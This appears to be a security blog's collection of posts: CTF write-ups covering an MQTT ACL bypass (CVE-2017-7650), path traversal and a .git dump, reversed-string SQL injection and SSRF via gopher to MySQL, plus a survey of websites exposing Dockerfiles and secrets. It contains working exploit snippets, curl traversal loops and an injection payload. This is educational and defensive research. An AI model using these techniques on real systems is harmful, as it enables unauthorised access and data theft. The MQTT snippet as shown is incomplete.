That is a rather old version and indeed there is a vulnerability up until version 1.4.12 which allows circumvention of set ACLs (CVE-2017-7650). Basically we only need to set our client_id or username to a wildcard – like “#” – and we can read any restricted topic.

We do this and get back binary data, so we write a modified client that stores this in a file:


import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    f = open("output.jpg","w+")

mqttc = mqtt.Client(client_id='#', transport='websockets', clean_session=True)
mqttc.on_message = on_message
mqttc.connect("", 60805, 60)
mqttc.subscribe("$internal/#", 0)

Running this produces no output but the image will be written to output.jpg:

And with that we could login to the admin panel:

Flag was: hxp{Air gap your beers :| - Prost!}

Hackover CTF 2018 – cyberware

The hackeover18 CTF challenge “cyberware”:

The URL http://cyberware.ctf.hackover.de:1337/ leads to what looks like a directory listing of a few files:

None of these files are accessible via a normal browser, they will only display “Protected by Cyberware 10.1” instead.
However with curl the files are displayed:

We figured out that requesting local system files is possible by prefixing // for example requesting //etc/passwd:

We then requested //proc/self/cmdline to find out which program is running, this returned cyberserver.py.
Since there is a ctf user in /etc/passwd we tried to get the file //home/ctf/cyberserver.py which dumped the whole source code. Mirror here.

From that source code we learned that there is no way to list files in a folder. The content of files which exist will be written to the response. There is also this interesting check:

        if path.startswith('flag.git') or search('\\w+/flag.git', path):
            self.send_response(403, 'U NO POWER')
            self.send_header('Content-type', 'text/cyber')
            self.wfile.write(b"Protected by Cyberware 10.1")

Apparently there is a flag.git folder. We can circumvent the search regex by simply requesting //home/ctf//flag.git. With the second / the error message is “406 Cyberdir not accaptable” which shows us that we have circumvented this check.

The flag.git folder is a normal .git directory. We can fetch the HEAD file to verify this:

There is already a wonderful tool to automatically download and extract files from open .git folders: internetwache/GitTools
However I couldn’t figure out how to make it download the files, I think it detects the downloads as failures since the content-length header might contain a wrong size (hence the curl errors as well).

We simply manually built the structure and downloaded all the standard files:

$ mkdir -p ctf/.git
$ cd ctf/.git/
$ mkdir -p refs/remotes/origin objects/info logs/refs/remotes/origin logs/refs/heads objects/pack/ info refs/heads refs/master
$ for x in HEAD objects/info/packs description config COMMIT_EDITMSG index packed-refs refs/heads/master refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD info/refs info/exclude; do curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/$x -o $x ; done

We then find the location of a packed file, download it as well and unpack it:

$ cat objects/info/packs
P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

$ curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack -o objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
$ cd ..
$ git unpack-objects -r < .git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
Unpacking objects: 100% (15/15), done.

Now we can use the extractor.sh tool from the above linked GitHub repository:

$ cd ~/GitTools/Extractor/
$ ./extractor.sh ~/ctf extract
# Extractor is part of https://github.com/internetwache/GitTools
# Developed and maintained by @gehaxelt from @internetwache
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
[*] Destination folder does not exist
[*] Creating...
fatal: Not a valid object name infopacks
fatal: Not a valid object name packpack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
[+] Found commit: 38db5649511b84ec8f9eb6492dbe43eabe1e6a4a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/0-38db5649511b84ec8f9eb6492dbe43eabe1e6a4a/hackover18{Cyb3rw4r3_f0r_Th3_w1N}
[+] Found commit: c0e01b58327e785a581c32b97e639014aef0f31e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/1-c0e01b58327e785a581c32b97e639014aef0f31e/ups
[+] Found commit: 7ddcca9c9752a2f616f9754dc100fc5e52f8f6df
[+] Found file: /home/vagrant/GitTools/Extractor/extract/2-7ddcca9c9752a2f616f9754dc100fc5e52f8f6df/qpoeqewrpokqwer
[+] Found commit: 5e9613e8069eb7a83c1b4554954fb7329490333a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/3-5e9613e8069eb7a83c1b4554954fb7329490333a/asdasdasdqweq42134e2
[+] Found commit: 1301f01e7dbd26acd8ca5b09fab05b957e702365
[+] Found file: /home/vagrant/GitTools/Extractor/extract/4-1301f01e7dbd26acd8ca5b09fab05b957e702365/hackover16{Cyb3rw4hr_pl5_n0_taR}
[+] Found commit: b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
[+] Found commit: dd9ebcb882411a06c33ea9d8e4246acf70e7372e
[+] Found commit: 19f882c9ad7aec1e682511525cc43e271896ae9e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/7-19f882c9ad7aec1e682511525cc43e271896ae9e/ups

And you can see the first file it found was the flag, the flag was the filename, it was: hackover18{Cyb3rw4r3_f0r_Th3_w1N}

Hackover CTF 2018 – who knows john dows?

The hackover18 CTF challenge “who knows john dows?” gave us only a login page:

And also a ruby class in a  GitHub repo at https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb.

First we needed to find the username. You simply clone the above repository and with git log you can see the email addresses which were used to commit, one of them (“john_doe@notes.h18”) worked.

Next we need to bypass the password check. Looking at the class in the GitHub repository we see that the SQL query to check the password is vulnerable to SQL injection however only via the hashed_input_password variable:

  def login(identification, password)
    hashed_input_password = hash(password)
    query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
    puts "SQL executing: '#{query}'"
    @database[query].first if user_exists?(identification)

There is also a SQL injection in the identification variable, however this is first validated in another part of the code, thus this cannot be exploited.

The “hash” function used is as follows:

  def hash(password)

This basically only reverses the string. We want use this string to bypass the check:

x' or 1 = 1; -- 

So we simply reverse it to:

 -- ;1 = 1 ro 'x

And using that as the password, we get the flag:

The flag was: hackover18{I_KN0W_H4W_70_STALK_2018}

Scanning the Alexa top 1M sites for Dockerfiles


Recently I stumbled over a site which publicly served their Dockerfile. That particular instance wasn’t very interesting. But I started to wonder how widespread this is and what sites are exposing due to that.

By all means, this isn’t exactly new. You can find /Dockerfile in the SecLists repository for a while.
However, it seems that so far nobody (publicly) investigated this. I’m also still operating a bunch of sites that are in the top 1 million list and I couldn’t find a single request for this file in my (limited) log files.

So I’ve started to do my own scan of the Alexa top 1 Million sites list.
This work was heavily inspired by the research of Hanno Böck in the past and in particular I used his wonderful tool snallygaster to conduct most of the scans. Thanks Hanno!

What is a Dockerfile?

A Dockerfile is the blueprint of a container. It contains all commands needed to build it. It is a simple plaintext file. You can tell Docker to copy files into the container, expose network ports and of course run any command during the build, for example:

FROM nginx

COPY default.conf /etc/nginx/conf.d/default.conf

COPY html/ /usr/share/nginx/html

RUN echo " mysql" >> /etc/hosts


Basically you describe exactly how the container is configured, which packages are installed and what commands are being ran in the process of building it.

As you can see it doesn’t necessarily contain sensitive information. In the above example we don’t even see which files are copied to the NGINX document root.


Out of the 1’000’000 sites 659 served a Dockerfile.
There is large reuse of existing Dockerfiles, one in particular was used 105 times.
Overall this boils down to 338 unique Dockerfiles being served.

41 were used two times or more, in detail:

The remaining 298 were uniquely used by only one site.

Most of them did fairly innocent operations that didn’t tell us much such as:

Not much there that we couldn’t also figure out by looking at the site directly.

A lot of them gave us a very detailed view of what is probably running on the server, e.g.:

It’s nice to know exactly which PHP modules are used on the server, this might be useful in some cases.

But as I dug deeper I found sometimes not only the Dockerfile was exposed but also much of the referenced configuration files. For example in the Dockerfile “docker/nginx.conf” is copied:

Which we then can simply try to access like this:

Somewhat common in that scenario are TLS certificates and, well, keys. I’ve found around 10 of those, for example:

And some people simply do insane things in their Dockerfile, like exposing their AWS secret key:

Or using a tool called “sshpass” to pipe a password into ssh to automate a rsync:

And at least one SSH root key is being served:

Overall I found SSH keys, npm tokens, TLS keys, passwords, AWS secrets, Amazon SES credentials, countless configuration files and source code of some of the applications.

These are of course the extreme examples which are to be expected on such a wide range scan.

How does this happen?

By default the Dockerfile is not copied into the container and certainly not to a publicly served folder.

From what I can tell the mistake that most of these sites make is practically this (real example from the scan):

With the first COPY line they copy everything in the current folder to a publicly served folder.
Afterwards configuration files get copied.

With this both the nginx.conf and the complete ssl directory are public. We can now simply fetch the nginx.conf, lookup the name of the certificate and key files and then fetch those as well.

In some cases there was no such COPY command. I can only guess that the files ended up due to another mistake in the document root, possibly unrelated to Docker.


With only 0.066 % of sites exposing a Dockerfile this doesn’t look like a very widespread problem. And on top of that only a subset of those – less than 100 – expose really critical information that can lead to a compromise.

But in any case, it rarely makes sense to publicly serve a Dockerfile.
Even if you don’t include any keys, passwords or other secrets: It still doesn’t make sense to give everyone a blueprint of your system.
The sites that don’t expose anything critical right now might start in the future when changes are made to this seemingly private file.

It’s generally good advice – even if you don’t use Docker – to simply check your public webroot folder for any files that shouldn’t be there and remove them.


ISITDTU CTF 2018 Friss

The ISITDTU CTF 2018 – Friss challenge presented us only with a URL without any explanation, on that URL a single form field was displayed:

That form only accepted URLs which point to localhost.
On the page is also a comment in the HTML source code which gives us access to the debug version by appending ?debug=1 to the URL:

Here we find that a config.php is included. Since only the host part is checked against containing localhost we can request local files like this: file://localhost/etc/hosts

And we can also get the config.php file by requesting file://localhost/var/www/html/config.php:

In the config.php file we find MySQL connection details and information that the flag is probably stored in the table ssrf.flag.

We can send requests to MySQL by requesting but that is not very useful since we need to login and send a query over the MySQL binary protocol.
Fortunately curl still supports the gopher protocol with which we can send requests to MySQL without any additional headers.
Crafting the correct binary content is the hard part but that problem is also solved already. We’ve used this python script to create the payload. The author – Tarunkant – explained SSRF via gopher and his script very well here.

But this script still requires the raw authentication packet. We’ve started a MySQL server and then connected to it via mysql -h -u ssrf_user (login does not need to succeed).
Sniffing the traffic with wireshark we get the following authentication packet (follow the TCP stream and filter only for client to server traffic):

Switch to raw representation:

Run the above python script to generate the payload, as query we entered SELECT * FROM ssrf.flag;:

That produces the gopher URL:

And when we request that, we get the flag:

The flag is: ISITDTU{JUST_4_SSrF_B4B3!!}